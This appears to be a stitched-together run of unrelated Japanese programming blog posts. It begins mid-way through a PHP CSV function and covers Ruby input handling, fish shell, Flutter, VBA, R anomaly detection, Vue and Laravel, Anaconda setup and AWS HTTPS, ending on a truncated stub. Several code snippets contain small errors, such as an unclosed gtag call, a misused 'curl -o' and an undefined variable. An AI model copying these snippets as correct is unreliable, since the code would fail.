     * @param string $filePath
     * @return array
     */
    function read_csv_file(string $filePath): array
    {
        // ファイル存在チェック
        if(!\File::exists($filePath)) {
            throw new Exception('CSVファイルが見つかりませんでした。 filePath: '.$filePath);
        }

        $file = new \SplFileObject($filePath);
        $file->setFlags(
            \SplFileObject::READ_CSV
            | \SplFileObject::READ_AHEAD
            | \SplFileObject::SKIP_EMPTY
        );

        $key = [];
        $data = [];
        foreach ($file as $i => $row)
        {
            // 1行目を連想配列のキーとする
            if($i === 0) {
                foreach($row as $j => $value) {
                    $key[$j] = $value;
                }
                continue;
            }

            $line = [];
            foreach($row as $j => $value) {
                $line[$key[$j]] = $value;
            }
            $data[] = $line;
        }
        return $data;
    }
```

# さいごに

各コマンドの使い分けも決めることができてスッキリしました！
それではステキなマスターレコードライフを✨
paiza標準入力・出力まとめ

paizaでRubyを特訓中です。
キリがいいと思ったので、基本的な標準入力と出力方法について残します。

## 標準入力とは
めっちゃ大雑把にいうと、キーボードから入力される値です。
キーボードからの入力じゃない時は値をファイルにまとめて入力したりもします。

僕的には、この方々の説明がわかりやすかったです。

[標準入出力とは？プログラミングテストの過去問で解説](https://products.sint.co.jp/topsic/blog/standard-input-output)
[標準入力とは｜「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典](https://wa3.i-3-i.info/word11636.html)


## 一つのデータを入力

#### 文字列の場合
入力値　abc
期待される出力 abc

```ruby
input = gets
puts input # -> abc
```

#### 数値の場合

入力値　123
期待される出力 123

```ruby
input = gets.to_i
puts input # -> 123
```
入力される値は問答無用でstring型に変換されますので、to_iメソッドを使ってinteger型にしましょう！

### 出力を複数行にする

#### 文字列の場合
入力値
abc
期待される出力
a
b
c

１行で入力したものを複数行の出力にしてみます。

```ruby
input = gets.chomp.split("")
# -> ["a", "b", "c"]
puts input
```

順番に説明します。
chompメソッドを使って入力値から改行を抹殺します。String型だとデフォルトだと末尾に改行がくっついちゃってるんで配列にした時改行コードも入っちゃいます。（["a", "b", "c", "\n"]のように）

詳しくはこちらから
[String#chomp (Ruby 3.0.0 リファレンスマニュアル)](https://docs.ruby-lang.org/ja/latest/method/String/i/chomp.html)

次にsplitメソッドを使って配列にします。引数を("")とすることで一文字ずつ分けてくれます。
※(" ")にすると空白を境に区切って配列に入れてくれます。

#### 数値の場合

```ruby
input = gets.split("").map(&:to_i)
# -> [1, 2, 3]
puts input
```

splitメソッドを使って同じように配列に入れたいのですが、そのまま入れると["1", "2", "3"]こんな風に文字列になっちゃいます。
「そんなのかんけーねぇ」な人はそのままでもいいですが、僕は嫌なので数値に変換します。
その時登場するのがmapメソッドです。配列の中身を一つずつ引っ張り出して処理してくれるいいやつなので仲良くなることをお勧めします。

公式リファレンスでは

```ruby
# すべて 3 倍にした配列を返す
p (1..3).map {|n| n * 3 }  # => [3, 6, 9]
```

こんな書き方をしてますが、

```ruby
array.map(&:to_i)
array.map{|n| n.to_i}
```
上の二つは同じ処理をしています。
なんで、(&:to_i)みたいな書き方をしてるの？　&って何？と思った方はこちらの方が詳しく説明してくださっていますのでご覧ください。
[【Ruby】array.map(&:method)を理解する](https://qiita.com/k-penguin-sato/items/420d7487b28b5d58cac4)


## 複数行の入力

#### 文字列の場合
入力値
a
b
c
期待される出力
a
b
c

```ruby
while input = gets
  puts input
end
```

while文を使って入力される値がなくなるまで繰り返し処理をして、出力してくれます。
for inを使ったり、timesメソッドを使ったりする方法はあると思いますが、特に行数の指定を気にしないのであれば、これが一番シンプルだと思います。

#### 数値の場合

```ruby
while input = gets.to_i
  puts input
end
```

まあこれは説明しなくてもわかりますね。

## まとめ

標準入力なんで、使わなくない？と思っていましたが、これらを理解することで、配列が絡んでくるアルゴリズムを書くのが、かなり楽になった気がします。
ですので、苦手だな〜って思っている人はやってみてください
fish shellで空enterを入力したらlsを実行するようにする

# fish shellで空enterを入力したらlsを実行するようにする

ちょっとした効率化で"空enterでlsを実行する"をよいという話を聞くのでfishで実装しようとした。
(zshだとプラグインであるみたい)

## できたもの

```shell 
function enter_ls
    set -l cmd (commandline)
    if test -z "$cmd"
        echo 
        ls
    end
    commandline -f execute
end 

function fish_user_key_binding
    bind \r enter_ls
end
```

これを`~/.config/fish/function/`下に置くと`\r`(enter)が`enter_ls`の実行になる。

最初は `function enter_ls --on-event fish_postexec`で書こうと考えたが、[バージョンが上がって空コマンドだとこのイベントが発行されないようになっていた](https://fishshell.com/docs/current/cmds/function.html)。

個人的にenterにバインドするのはあまり気持ちよくない（他のenterで実行されるものと被ると面倒）けどもイベントが無いならこれしか実現法は無いような気がする。

## 参考
- [function - create a function](https://fishshell.com/docs/current/cmds/function.html?highlight=event)
- [fish_preexec is no longer triggered on empty commands, no way to restore old behavior](https://github.com/fish-shell/fish-shell/issues/8020)
- [fishshell で Enter 押したときに ls と git status を表示する - Qiita](https://qiita.com/marcy_o/items/d51773cdd110d77cfdd8)
M1のMacにある地球儀キーを無効にする

新型M1のiMacにある地球儀キーって何に使うのか全く不明です。このキーを押すと絵文字を入力できるだけで、たまにBackSpaceキーと誤って押したときに絵文字メニューがシャシャリ出て、やたら使いづらい。

![IMG_9167.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149387/c3f11e1a-8bc6-2691-f755-ee77e87b8f21.jpeg)

そこで、このキーを無効にする方法を探りました。何か新しいソフトウェアを入れる必要があるのかと思ってましたけど、特に不要です。macOS Big Sur Version 11.4ではね。

![Screen Shot 2021-05-28 at 16.33.41.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149387/49d964f1-7258-5df8-166d-cc32c3148a74.jpeg)

地球儀キーはマックでは珍しいキーで、押したときに何もしないように設定できます。OSの扱いとしては、昔からあるコマンドキーとかシフトキーとか同じレベルです。アップルがなぜこのキーを足す必要があったのか全く不明です。アップルの自信の無さが伺えるような特別仕立ての設定項目ですねぇ。

![Screen Shot 2021-05-28 at 16.36.22.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149387/46cba51b-67a0-ff29-1825-f29c4cc730a0.jpeg)

また、もう少し細かく設定できるため、CapsLockキーも無効にできました。普通はソフトウェアだけの設定でハードウェアは別扱いだったのだけど、ちゃんと無効にできました。LEDも点灯しなくなります。
FlutterでBottom overflowedが出た場合の対処法

長いテキストをTextやTextFormFieldに表示しようとすると"A RenderFlex overflowed by xx pixels on the bottom."というエラーメッセージと共に以下のような画面表示になることがあります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/930440/06dfad25-1da8-9513-5515-94d569b06b38.png)

#解決法(Text)
Textの場合は以下のようにExpandedを使います。

```
Expanded(child: Text(message))
```

#解決法(TextFormField)
TextFormFieldはmaxLines:を指定するとフォーム内でHTMLのtextarea的に使える複数行入力できるフィールドが作れるのですが、これだと大量のテキストを入力した場合にやはりOverflowの問題が出てしまいます。これを回避するために以下のようにFlexibleとContainerで囲みます。

```
Flexible(
  child: Container(
    constraints:
        BoxConstraints(minHeight: 200, minWidth: double.infinity),
    child: TextFormField(
      maxLines: 10, // フィールドの高さ
      keyboardType: TextInputType.multiline,
      decoration: InputDecoration(labelText: 'メッセージ'),
    ),
  ),
),
```

以下のようにOverflowしなくなりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/930440/6e899c8d-a4a1-bbdb-362c-f5fedcc32a1a.png)

#解決法(TextFormField その2)
いくつもオブジェクトがあるFormの中にmultilineのTextFormFieldを入れた場合にOverflowを起こすことがあるのを発見しました。この場合は以下のような感じでListViewでFormを包むようにするとうまくいきました。(参考：[[Flutter]スクロール可能なFormFieldの取り扱い](https://shiba1014.medium.com/flutter-%E3%82%B9%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%AB%E5%8F%AF%E8%83%BD%E3%81%AAformfield%E3%81%AE%E5%8F%96%E3%82%8A%E6%89%B1%E3%81%84-42684beaaa2a))

```
body: ListView(children: <Widget>[
          Form(
            key: _formKey,
            child: Column(
              crossAxisAlignment: CrossAxisAlignment.start,
              children: <Widget>[
              // 色々オブジェクト...
              TextFormField(
                  keyboardType: TextInputType.multiline,
                  maxLines: 10,
                  decoration: InputDecoration(
                    labelText: "メッセージ",
                  ),
                ),
```
【ExcelVBA基礎】3章：セルのデータ操作

はじめに
セルの操作は書式の設定や、ソート、範囲データを取得等マクロでできることは多岐にわたりますが、ここでは単一のセルからデータを取得する方法と、単一のセルにデータを格納する方法についてのみ説明します。

```
Sub set_demon_slayer()
    
    Dim pillar() As String
    Dim table_string As String

    ReDim pillar(0 To 7, 0 To 1)
    
    Cells(1, 1).Value = "冨岡義勇"
    Cells(2, 1).Value = "煉獄杏寿郎"
    Cells(3, 1).Value = "胡蝶しのぶ"
    Cells(4, 1).Value = "宇随天元"
    Cells(5, 1).Value = "甘露寺蜜璃"
    Cells(6, 1).Value = "時透無一郎"
    Cells(7, 1).Value = "悲鳴嶼行冥"
    Cells(8, 1).Value = "不死川実弥"

    Range("B1").Value = "トミオカギユウ"
    Range("B2").Value = "レンゴクキョウジュウロウ"
    Range("B3").Value = "コチョシノブ"
    Range("B4").Value = "ウズイテンゲン"
    Range("B5").Value = "カンロジミツリ"
    Range("B6").Value = "トキトウムイチロウ"
    Range("B7").Value = "ヒメジマギョウメイ"
    Range("B8").Value = "シナズガワサネミ"
    
    pillar(0, 0) = Range("A1").Value
    pillar(1, 0) = Range("A2").Value
    pillar(2, 0) = Range("A3").Value
    pillar(3, 0) = Range("A4").Value
    pillar(4, 0) = Range("A5").Value
    pillar(5, 0) = Range("A6").Value
    pillar(6, 0) = Range("A7").Value
    pillar(7, 0) = Range("A8").Value
    
    pillar(0, 1) = Cells(1, 2).Value
    pillar(1, 1) = Cells(2, 2).Value
    pillar(2, 1) = Cells(3, 2).Value
    pillar(3, 1) = Cells(4, 2).Value
    pillar(4, 1) = Cells(5, 2).Value
    pillar(5, 1) = Cells(6, 2).Value
    pillar(6, 1) = Cells(7, 2).Value
    pillar(7, 1) = Cells(8, 2).Value
    
    table_string = table_string & pillar(0, 0) & "," & pillar(0, 1) & vbCrLf
    table_string = table_string & pillar(1, 0) & "," & pillar(1, 1) & vbCrLf
    table_string = table_string & pillar(2, 0) & "," & pillar(2, 1) & vbCrLf
    table_string = table_string & pillar(3, 0) & "," & pillar(3, 1) & vbCrLf
    table_string = table_string & pillar(4, 0) & "," & pillar(4, 1) & vbCrLf
    table_string = table_string & pillar(5, 0) & "," & pillar(5, 1) & vbCrLf
    table_string = table_string & pillar(6, 0) & "," & pillar(6, 1) & vbCrLf
    table_string = table_string & pillar(7, 0) & "," & pillar(7, 1) & vbCrLf
    
    MsgBox table_string
    
    '出力結果：冨岡義勇,トミオカギユウ
    '          煉獄杏寿郎,レンゴクキョウジュウロウ
    '          胡蝶しのぶ,コチョシノブ
    '          宇随天元,ウズイテンゲン
    '          甘露寺蜜璃,カンロジミツリ
    '          時透無一郎,トキトウムイチロウ
    '          悲鳴嶼行冥,ヒメジマギョウメイ
    '          不死川実弥,シナズガワサネミ
    
End Sub
```

ExcelVBAでセルを指定する方法は「Cells」か「Range」を使う方法の２つです。

i）Cells(行,列)
行・列それぞれ数値で指定します。また変数に格納された数値で指定することもできます。配列とは違い行・列の最初は1から始まります。

ii）Range("セルの名前")
セルに名前を付けていなければ、Excelで馴染みのある"A1"や"D5"、"AA12"のように指定します。Excelの "名前の定義" 機能を使って自身で設定した名前を指定することもできます。

iii）「.Value」
データの取得・格納を問わず、原則指定することを推奨します。Excelで言う値貼付けのようなものです。

4章：繰り返し処理（For~Next文）
https://qiita.com/daichi05w/items/3c5b0362798feb59aa50

序章：まえがきと目次
https://qiita.com/daichi05w/items/002f311490dabaaf14d0
R で graphical lasso を用いた異常検知　その３：モデル構築

# はじめに
graphical lasso を用いた異常検知を行ってみた。参考資料は末尾に記載した。今回は時系列、多変量、かつ異常と正常のラベルデータが付随しているデータセットである[SECOM Data Set](https://archive.ics.uci.edu/ml/datasets/SECOM)を使用した。この記事のシリーズでは、

1. [R で graphical lasso を用いた異常検知　その１：基礎分析](https://qiita.com/ryamamoto0406/items/6d1a314bdfb431b8cb6f)
1. [R で graphical lasso を用いた異常検知　その２：前処理](https://qiita.com/ryamamoto0406/items/978bf8750fb2686fd7b6)
1. R で graphical lasso を用いた異常検知　その３：モデル構築 　←　今ここ！
1. [R で graphical lasso で用いた異常検知　その４：異常度の算出](https://qiita.com/ryamamoto0406/items/2a2697146887a5a1a1d7)

の順番で書いていく。本記事では前処理の結果をもとに、データを正常データと異常データで分けてモデル構築を行っていく。以下、コードは 1., 2. の記事のコードが実行済みであるとする。

# 正常データと異常データの取り出し
label 項目の値に従ってデータを分けていく。分けたデータでネットワークの作成を行う。

```R:コード
d <- df.num.rem.join.omit.sdsfil.dup.scale

df.norm <- d[d$label == -1,]
dim(df.norm)

df.abn <- d[d$label == 1,]
dim(df.abn)
```

```:出力
[1] 1271  424
[1]  98 424
```

# glasso パッケージを用いたモデル構築
今回は正則化パラメータは rho = 0.4 で行う。


```R:コード
library(glasso)

f <- function(df){
  x <- df %>% select(-label) %>% select(-datetime) %>% as.matrix()
  fit <- glasso(s = cov(x), rho = 0.4)
  return(fit)
}

fit.norm <- f(df.norm)
fit.abn <- f(df.abn)
```


# 正常データと異常データのネットワークの比較
それぞれの精度行列からネットワーク図を作成する。400項目以上あるので、単純な図示では見難いと思うが、一応結果を載せておく。もし、もっとスマートな可視化方法をご存じの方が居れば是非コメント下さい！

```R:コード
r <- ifelse(fit.norm$wi != 0, TRUE, FALSE)
diag(r) <- 0
colnames(r) <- df.norm %>% select(-label) %>% select(-datetime) %>% colnames()
rownames(r) <- df.norm %>% select(-label) %>% select(-datetime) %>% colnames()

r_abn <- ifelse(fit.abn$wi != 0, TRUE, FALSE)
diag(r_abn) <- 0
colnames(r_abn) <- df.abn %>% select(-label) %>% select(-datetime) %>% colnames()
rownames(r_abn) <- df.abn %>% select(-label) %>% select(-datetime) %>% colnames()

library(qgraph)

qgraph(r, layout = "circle")
qgraph(r_abn, layout = "circle")
```

正常時のデータによるネットワーク図
![secom_normal_network.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1077734/4f6284ba-20c2-29b2-f76a-603874184cd2.png)

異常時のデータによるネットワーク図
![secom_abn_network.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1077734/fb354343-0a41-b368-b30c-d4d690e599a8.png)

正常と異常で変数同士の関連性が変化しているのがわかる。この違いの定量化は次の記事で行う。

# おわりに
本記事ではRの`glasso`パッケージを用いて正常データ、異常データのモデル化と、ネットワークの推定を行った。このネットワークの差を用いて、次の記事では異常度を定義し異常検知を行っていく。

# 参考文献（graphical lasso を用いた異常検知について）

- [潜在的グラフ構造からの異常検知](https://latent-dynamics.net/01/2010_LD_Ide.pdf)
- [グラフィカル Lasso を用いた異常検知](https://www.slideshare.net/yuyatakashina3/lasso-76405671)
- [時系列データに対する異常検知のための教師なし学習方法の提案](https://www.mss.co.jp/technology/report/pdf/31_03.pdf)
- [異常検知本の読書メモ Part 3(疎構造学習による異常検知)](https://www.yasuhisay.info/entry/2016/12/25/130000)
VK_KHR_ray_tracing 対応度のメモ

Khronos 標準のレイトレ拡張です.

`VK_KHR_ray_tracing` はなくなって, 

* `VK_KHR_ray_tracing_pipeline`
* `VK_KHR_ray_query`

などいくつかの拡張に分かれましたが, めんどいので `VK_KHR_ray_tracing` = KHR 拡張のレイトレということにします.

## NVIDIA

現状まだベータ扱いっぽい.

https://developer.nvidia.com/vulkan-driver

基本 Pascal 以上であれば動く. ただし 6GB+ のメモリがあるもの. 
たとえば GTX 1060 3GB はサポートされない. Tesla P100 もだめだった.
(`VK_NV_ray_tracing` は使える)

Turing(RT コアつき)以上であれば問題なく使えると思われる.

## AMD

Navi2(RX6xxxx)でのみ使える.

21.10 から Linux でも使えるようになった.
AMD も現状まだベータ扱いっぽい.

## Intel

Xe からサポートされるっぽいが... 製品がまだなので不明.

## まとめ

現状(2021/05/28 時点)では Linux では NV/AMD どれもベータ扱い.
Laravel + Vueで作ったSPAのサイトにGoogleAnalytics対応をする

## やりたいこと
Laravel + VueのSPAサイトにGoogleAnalyticsを設定したい。
**ユーザーが入力をしてそのトラッキングIDからPVを計上できるような機能を作りたい。**
GoogleAnalyticsにはユニバーサルアナリティクスとGoogleAnalytics4の２つがあり、両方似対応できるようにしたい。

## やりかた

[こちらに記載されているように](https://developers.google.com/analytics/devguides/collection/gtagjs?hl=ja)、まずは`head`内に`gtag.js`の初期化コードを記載します。

その際に、多少変更を加えます。
バックエンドからトラッキングIDを渡してやります。そうすることで、ユーザーが個別に設定したり、環境ごとに変更できたりするためです。

```js:index.blade.php
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id={{ $tracking_id }}"></script>
<script>
  var tracking_id = "{{ $tracking_id }}"
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', tracking_id);
</script>
```

つぎに、Vueでの設定です。
よくvue-gtagのようなライブラリが使用されているのを見ますが使用しません。

Vueのファイルがこんな感じになっているとします。

```js:app.vue
import Vue from 'vue'
import Router from 'vue-router'
import page1 from '@/components/page1'
import page2 from '@/components/page2'
import page3 from '@/components/page3'

Vue.use(Router)

router = new Router({
  routes: [
    {
      path: '/',
      component: page1
    },
    {
      path: '/page2',
      component: page2
    },
    {
      path: '/page3',
      component: page3
    }
  ]
})

new Vue({
  el: "#app",
  router,
  components: { page1, page2, page3 }
});

```

次に、GoogleAnalyticsのSPAの対応をしてやります。

```js:app.vue
if(tracking_id) {
  router.afterEach((to, from) => {
    gtag('config', tracking_id, {page_path: window.location.pathname}
  });
}

new Vue({
  el: "#app",
  router,
  components: { page1, page2, page3 }
});

```

Vue Routerの[フック機能](https://router.vuejs.org/ja/guide/advanced/navigation-guards.html#%E3%82%AF%E3%82%99%E3%83%AD%E3%83%BC%E3%83%8F%E3%82%99%E3%83%AB%E3%81%AA-after-%E3%83%95%E3%83%83%E3%82%AF)を用いて、遷移後に手動でpvを計上します。

ただし、これだけだとGoogleAnalytics4(GA4)では二重計測されてしまいます。
というのも、GA4からデフォルトで自動的にブラウザ履歴の変更をPVに計上するようになっています。

![ga4_extension](//images.ctfassets.net/o3xmp3wr5bjn/53HSKRkWX0eJiptrrTKNxE/2ee761678fbb3487f3e6d356e658ee05/____________________________2021-05-26_14.28.45.png)

自分が使用する分にはこのチェックを外せばよいですが、ユーザーにトラッキングIDを入れて貰う場合、このオペレーションは大変です。
なので、この遷移後に手動でpvを計上するのを、ユニバーサルアナリティクス(UA)でだけ行います。

```js:app.vue
if(tracking_id && /^UA/.test(tracking_id)) {
  router.afterEach((to, from) => {
    gtag('config', tracking_id, {page_path: window.location.pathname}
  });
}

new Vue({
  el: "#app",
  router,
  components: { page1, page2, page3 }
});

```

これでどちらも対応してPVを計上できました。
GA4は色々画面も変わり、大変ですが両方に対応できてよかったです。
[Error]Property [xxxx] does not exist on this collection instance.

##はじめに
この記事はプログラミング初学者による備忘録用の記事であり、また、少しでも他の初学者のお役に立てればと思い書いています。

今回は、アクセサを使用した際に発生した``エラーProperty [xxxx] does not exist on this collection instance.``についての解決策を記録しておきたいと思います。

※新しいエラーが発生した場合、その都度追記していきます。

間違いなどがございましたら、ご指摘のほどよろしくお願い致します。

##エラー文
```
Property [xxxx] does not exist on this collection instance.
```
##エラー発生状況
テーブルの特定カラムを結合してデータを取得するためにアクセサを作成、コントローラで作成したアクセサを使用するとエラーが発生

##エラーとなったコード

```php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;

class Login extends Model
{
     protected $appends = [
        'login_date'
    ];

    public function user(): BelongsTo
    {
        return $this->belongsTo('App\Models\User');
    }//Models\UserではHasManyでリレーション

    public function getLoginDateAttribute(): string
    {
        return $this->year . $this->month . $this->day;
        //year,month,dayカラムを結合して'Y-m-d'の形で取得したかった
    }   //仕様の都合上、created_at,updated_atは使用していない
}
```

```php
namespace App\Http\Controllers;

class UserController extends Controller
{
public function userData(string $name)
    {
        $user = User::where('name', $name)->first();

        $logins = $user->logins;

        $total_login = $samples->login_date->count();//エラー原因
        dd($total_login);
//略
    }
}
```
テーブル上の対象となるyear,month,dayカラムを結合して'Y-m-d'の形で取得後、日付重複なしでカウントしてログイン日数を取得したく、コントローラ側でアクセサで取得したデータをcount()でカウントしようとしたところ下記エラーが発生した。

``Property [login_date] does not exist on this collection instance.``を読むと、エラー文は、アクセサを使い取得したコレクションインスタンスの中には、$key [**login_date**]は存在しないよと教えてくれている。(はず？)

##解決策
色々と調べてみると、コレクションの``groupByメソッド``は指定したキーによりコレクションのアイテムをグループにまとめてくれることを知り、私が求めていた重複なしの形で日付データを取得できると思い使ってみると

```php
class UserController extends Controller
{
public function userData(string $name)
    {
    //略
    $total_login = $logins->groupBy('login_date');
    dd($total_login);
/**
 *dd()結果
 * Illuminate\Database\Eloquent\Collection {#1479 ▼
   #items: array:2 [▼
    2021526 => Illuminate\Database\Eloquent\Collection {#1480 ▼
      #items: array:5 [▶]
    }
    2021527 => Illuminate\Database\Eloquent\Collection {#1370 ▼
      #items: array:4 [▶]
    }
  ]
}
*エラーなく'Y-m-d'の形で日付データをまとめ、重複なしで取得できている
*/
    }
}
```
求めていた形でデータを取得することができました。
あとは、エラー原因となっていたコードを、``$total_login = $logins->groupBy('login_date')->count();``十することで日付データを重複なしでカウントすることができました。

##おわりに
``メモ:``
モデルクラスでアクセサを設定する際は、getAttributeメソッドを上書きする方法はNGということを肝に銘じる。

##参考文献
[laravel6.x コレクション](https://readouble.com/laravel/6.x/ja/collections.html)
コマンドラインからAnacondaをインストールする方法

次の２つの手順で大丈夫！
1. curlでインストーラをダウンロード
2. bashコマンドでインストーラ使ってインストール
3. パスを通すためにコマンドを一度閉じて再度開いたらcondaコマンドが使える！

# curlでインストーラをダウンロードする方法
以下のコマンドを実行してインストーラをダウンロード

```curl
curl -O your_link_for_Anaconda_installer
```
ここで your_link_for_Anaconda_installer の部分はインストールする環境に応じて異なります。今回はLinuxにインストールするために上記のパスを用いました。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/554239/6c2ab3e2-5bc7-00e6-ace8-fd6073043f8f.png)


パスの取得方法は上記の画像を参考にしてください。


アナコンダのホームページ[https://www.anaconda.com/products/individual#download](https://www.anaconda.com/products/individual#download) に行き、ホーム画面の一番下あたりにOSごとのインストーラがあります。その中で、自分の環境と合うインストーラを右クリックして、リンクをコピーをクリック。


そしたら、先程のyour_link_for_Anaconda_installerを取得したリンクに変えてコマンドを実行してください
例えば以下のようになります

```curl
curl -o https://repo.anaconda.com/archive/Anaconda3-2021.05-Linux-x86_64.sh
```

# bashコマンドでインストール
以下のコマンドを実行してインストールを行う。

```bash
bash your_path_for_Anaconda_installer
```

your_path_for_Anaconda_installerには、先程ダウンロードしたインストーラが格納されているパスを指定
例えば以下のようになる。

```bash
bash Anaconda3-2021.05-Linux-x86_64.sh
```

# コマンドを閉じて再度コマンドを開く
condaのパスを通すために一度こまんどコマンドラインを閉じます。再度コマンドを開くとcondaコマンドが使えるはずです！
deviseまとめ　備忘録

## はじめに
初投稿です。
現在、プログラミングを勉強しています。
備忘録やアウトプットとして投稿していきたいと思います。
誤った内容のものもあると思います。その際はご指摘いただけると幸いです。

## 目次
・　deviseとは
・　導入手順
・　よく使用するメソッド

## deviseとは
ユーザー管理機能を簡単に実装することができるgemです。
実際に多くのアプリケーションで使用されています。

## 導入方法
1,Gemfileに以下の記述を記載する。

```ruby
gem 'devise'
```
２,ターミナルにてbundle installを実行。実行後サーバーの再起動をする。
３,rails g devise:installを実行し、deviseに必要な設定関連ファイルを作成する。
※「：」が抜けると設定関連ファイルではなくモデルが作成されてしまうので注意

```ターミナル
% bundle install
% rails g devise:install
```
４、モデルの作成
rails g devise: モデル名を実行後、マイグレーションファイルに追加するカラムを記載し、
rails db:migrateを実行。

```ターミナル
% rails g devise モデル名
% rails db:migrate
```
５、コントローラー・ビューの作成
deviseのgem内にある既存ファイルを読み込んでいるため表示されない。
設定に変更を加える場合には以下のコマンドを実行。

```ruby
rails g devise:views
rails g devise:controller コントローラー名
```

## よく使用するメソッド
以下のメソッドはdeviseを導入することにより使用することが可能になるメソットです。
そのうちよく使用するメソッドをまとめました。

### authenticate_user!
ログイン状態によって表示するページを切り替えるメソッド。
処理が呼ばれた段階で、ユーザーがログインしていなければ、そのユーザーをログイン画面に遷移させる。

### current_user

現在ログインしているユーザーの情報を取得できる。

### devise_controller?
deviseに関する処理が行われたときtrueを返す。
基本的にifと合わせて使用することが多い。

### user_signed_in?
ユーザーがサインインしている場合にtrueを返す。
基本的にifと合わせて使用することが多い。

### devise_parameter_sanitizer
deviseにおけるparamsのようなメソッド
このメソッドとpermitメソッドを組み合わせることにより、deviseに定義されているストロングパラメータに対し、自分で指定したカラムを追加することができる。

```ruby
def configure_permitted_parameters  # メソッド名は慣習
  devise_parameter_sanitizer.permit(:deviseの処理名, keys: [:許可するキー])
end
```
deviseの処理名
:sign_in　ログイン
:sign_up　新規登録
:account_update　アカウント更新
[AWS_30]HTTPS通信でアクセス可能にする

##環境
**Amazon Web Service**

* EC2(Amazon Linux 2 , t2.micro , 汎用SSD 8GB)
* RDS(MySQL , db.t2.micro)
* ALB

**ローカルPC**

* MacBook Pro(2.9 GHz デュアルコアIntel Core i5 , 8 GB 2133 MHz LPDDR3)
* macOS 11.3.1（20E241）

##概要
現状では、WebページへのアクセスがHTTPのみとなっているため、`HTTPS`でアクセスできるようにする。
具体的には、証明書の取得やELBでのアクセス許可設定などを実施する。
![構成図13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/758644/777f4f95-6b6a-31f1-f61b-d84fe3adb2b4.png)


###リスナーの追加
ELBでHTTPS通信を受け入れる設定を行う。

1. リスナー編集画面へ遷移
<br>`ロードバランサー　＞　(設定するLB) ＞　リスナータブ　＞　リスナーの追加`をクリックする。
1. 以下の項目を入力する。
    * プロトコル: `HTTPS`
    * ポート: `443`
    * アクションの追加　＞　転送先
        * ターゲットグループ: `TG-1`
        * チェックボタンをクリック
    * 新しい ACM 証明書をリクエストをクリックする。ここの手順は[ACM 証明書をリクエストする](#ACM 証明書をリクエストする)にて説明する。
    * デフォルトの SSL 証明書:
        * `ACMから`
        * (先ほど作成した証明書が表示されるはず)
    * `作成`をクリックする。

###ACM 証明書をリクエストする
1. ドメイン名の追加
<br>(独自ドメイン)を入力する。
1. 検証方法の選択
<br>DNSの検証を選択する。
1. タグを追加
<br>今回は無し
1. 確認とリクエスト
<br>今回は無し
1. 検証
<br>`Route53でのレコードの作成`

###セキュリティグループの設定を編集する。
現状ではELBのセキュリティグループでHTTPしか許可していないため、HTTPSも許可する。

1. `EC2　＞　セキュリティグループ　＞　LB-SG-1　＞　インバウンドルールタブ　＞　インバウンドルールを編集`をクリックする。
1. 以下の項目を入力する。

    タイプ|プロトコル|ポート範囲|ソース|説明
    ---|---|---|---|---
    HTTPS|TCP|443|カスタム 0.0.0.0/0|

1. `ルールを保存`をクリックする。

###WordPress側での設定
1. 2台のEC2インスタンスにSSH接続して、wp-config.phpの`define~`の下の行にに以下のコードを追加する。

```php:wp-config.php
if($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
  $_SERVER['HTTPS'] = 'on';
  $_ENV['HTTPS'] = 'on';
}
```

###RDSに設定されているサイトアドレスをhttpsに書き換える
* EC2インスタンスにSSH接続し、以下コマンドを入力してRDSにアクセスする。

```consol
mysql -h database-1.xxxxxxxxxxxxxxxxxxxxxxx.ap-northeast-1.rds.amazonaws.com -u username -p
```

* `wordpress`のテーブルを使用することを宣言する。

```sql
USE wordpress
```

* 現在のサイトアドレスを確認する。

```sql
SELECT * FROM wp_options WHERE option_name IN ('siteurl', 'home');

+-----------+-------------+----------------------+----------+
| option_id | option_name | option_value         | autoload |
+-----------+-------------+----------------------+----------+
|         2 | home        | http://xxx.xxx.xx.xx | yes      |
|         1 | siteurl     | http://xxx.xxx.xx.xx | yes      |
+-----------+-------------+----------------------+----------+
```

* サイトアドレスをhttpsに更新する。

```sql
UPDATE wp_options SET option_value = 'https://xxx.xxx.xx.xx' WHERE option_name IN ('siteurl', 'home');
```

* サイトアドレスが更新されていることを確認する。

```sql
SELECT * FROM wp_options WHERE option_name IN ('siteurl', 'home');

+-----------+-------------+----------------------+----------+
| option_id | option_name | option_value         | autoload |
+-----------+-------------+----------------------+----------+
|         2 | home        | https://xxx.xxx.xx.xx | yes      |
|         1 | siteurl     | https://xxx.xxx.xx.xx | yes      |
+-----------+-------------+----------------------+----------+
```

###確認
https://(独自ドメイン)にアクセスして、Webページが正常に表示されることとURL欄に鍵マークが表示されることを確認する。

###事後作業
* 現状はELBのセキュリティグループを`httpとhttpsを許可`しているので、`httpsのみ許可`へ変更する。
* ELBのリスナー設定も同様にhttpのみに変更する。![構成図13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/758644/da2afde5-b8f5-79c4-a5b6-5f8dcb820d9f.png)
【備忘録】 Vue.js のバージョンを確認する

▼ メモ記事

https://qiita.com/Sinhalite/items/64731c0a84cadb516a24

上記の記事を参考にして、インストールしている Vue.js のバージョンを確認したことをメモ

## プロジェクトごとにインストールしている場合

```terminal
$ npm list vue
```

## グローバルにインストールしている場合

```terminal
$ npm list -g vue
```

## Vue.js の最新安定版のインストール方法

現状 Vue2 だが、近々 Vue3 にアップデートするのでメモ

```terminal
$ npm install vue@next
```
(あなたの)スピード感を奪う仲間と開発を続けてはいけない理由

仕事やビジネスという意味だけではありません。

多くの理由はありません。

いうまでもなくITの世界はスピードが命です。

